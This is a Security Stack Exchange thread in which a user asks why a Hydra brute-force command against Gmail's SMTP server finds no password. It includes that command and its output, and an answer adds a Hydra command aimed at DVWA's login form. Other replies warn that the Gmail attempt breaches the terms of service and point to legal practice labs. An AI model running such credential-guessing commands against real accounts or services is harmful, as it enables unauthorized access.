3

I'm trying to break into my OWN gmail account. But it's not working. Does anyone have any ideas? Is there anything I can do to further isolate the problem? I'm running Kali 2016.1 on virtual box. I'm hardwired directly to my modem with NAT mode turned on in VB. Here is what I tried below.

EDIT: I also changed the -t flag to 1. It may not have liked having 4 request at once. Same results more or less.

hydra -l ********@gmail.com -P passwords.txt -s 465 -S -v -V -t 4 smtp.gmail.com smtp

Now here are the results.

Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-08-10 16:21:32
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Google Mail has bruteforce detection and sends false positives. You are not doing anything illegal right?!
[DATA] max 4 tasks per 1 server, overall 64 tasks, 4 login tries (l:1/p:4), ~0 tries per task
[DATA] attacking service smtp on port 465 with SSL
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target smtp.gmail.com - login "********@gmail.com" - pass "aaaa" - 1 of 4 [child 0]
[ATTEMPT] target smtp.gmail.com - login "********@gmail.com" - pass "*******************" - 2 of 4 [child 1]
[ATTEMPT] target smtp.gmail.com - login "********@gmail.com" - pass "jkjh" - 3 of 4 [child 2]
[ATTEMPT] target smtp.gmail.com - login "********@gmail.com" - pass "" - 4 of 4 [child 3]
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[STATUS] attack finished for smtp.gmail.com (waiting for children to complete tests)
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-08-10 16:21:33
Improve this question
2
  • We can assume that your password is in the password file? And you read the INFO and WARNING messages? I also notice that you did not specify the success conditions in your hydra command.
    – schroeder ♦
    Commented Aug 11, 2016 at 7:17
  • don't you only have to do that for web authentications? How would you do that for smtp?
    – user21303
    Commented Aug 11, 2016 at 9:52

3 Answers 3

Reset to default
3

Download Damn Vulnerable Web Application at this site.

Its awesome and free you can try hack it without consequence. Good luck

Also read up on this and this

I use this type of command

hydra 192.168.88.4 -l admin -P C:\Hydra\List\Passwords\10_million_password_list_top_1000000.txt http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security;low;PHPSESSID=Paste ID here"

This is an example line from the DVWA site hack.

Improve this answer
2

What you are doing is a violation of the Gmail Terms of Service. Applicable text:

Don’t misuse our Services. For example, don’t interfere with our Services or try to access them using a method other than the interface and the instructions that we provide. You may use our Services only as permitted by law, including applicable export and re-export control laws and regulations. We may suspend or stop providing our Services to you if you do not comply with our terms or policies or if we are investigating suspected misconduct.

You aren't hacking "your own account." In this case, you are attempting to bypass GMail's authentication system, a service which most assuredly does not belong to you. This is at best a ToS violation and at worst illegal.

Improve this answer
4
  • Is there any service that allows you to test it? I want to be able to do a basic smtp or ftp. I know about DWVA, but that's only useful for web authentication it's all local. I'd prefer to test it over something easier than web. I want to make sure the dang thing is actually working before I start doing more advanced things like ripping POST with Burpsuite. It would also be nice to have the target outside own network for realism's sake.
    – user21303
    Commented Aug 11, 2016 at 9:59
  • Buy a Raspberry Pi. Set it up as a LAMP server. Attack it. Learn from your own attacks and harden the server. Rinse, repeat. That's just my opinion though. Then this is a service you actually do control and you won't be filling a Google server's logs with what are clearly brute force attempts. Another alternative is using vagrant to wargame with yourself, google vagrant metasploitable. I wouldn't practice this sort of thing on a GMail production server, ever.
    – Bradley Evans
    Commented Aug 11, 2016 at 15:25
  • I think I'll just get a Rasberry Pi. In the mean time, just out of curiosity, was there anything I was doing wrong with the initial command. I mean something that was immediately noticeable? I see people do this kind of thing in youtube tutorials all the time. I do literally the exact same commands (and they arn't that hard to understand) with zero luck on admittingly multiple services. Would my modem or ISP play any kind of factor in hydra not working when typing in that command? Is there some kind of config file in Kali I have to mess with?
    – user21303
    Commented Aug 11, 2016 at 18:53
  • 7
    You are allowed to "hack" Google under the terms within their bug bounty programme. "Authentication or authorization flaws" is one of the applicable categories.
    – SilverlightFox
    Commented Aug 12, 2016 at 9:05
-1

No, SMTP of Gmail (like SMTP of any other important email provider) doesn't allow to sign in in this way, in order to avoid brute with software like hydra, medusa etc... Also, Gmail sends false positives like it's also shown in your hydra output, so you will not able to get the correct credentials anyway. Hydra SMTP brute it's only working with non-protected SMTP systems.

Improve this answer
4
  • The SMTP protocol is not the function that is protecting accounts.
    – schroeder ♦
    Commented Nov 10, 2019 at 14:27
  • It didn't write what you're saying "non-protected SMTP systems" means > SMTP server not protected by firewalls.
    – Virgula
    Commented Nov 10, 2019 at 17:51
  • "SMTP of Gmail doesn't allow to sign in in this way". This is false. SMTP has nothing to do with the login protection.
    – schroeder ♦
    Commented Nov 10, 2019 at 22:56
  • @schroeder because protected by a firewall. yes, it's correct. however I didn't see this question was 3 years old, my answer here it's useless.
    – Virgula
    Commented Nov 11, 2019 at 15:23

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .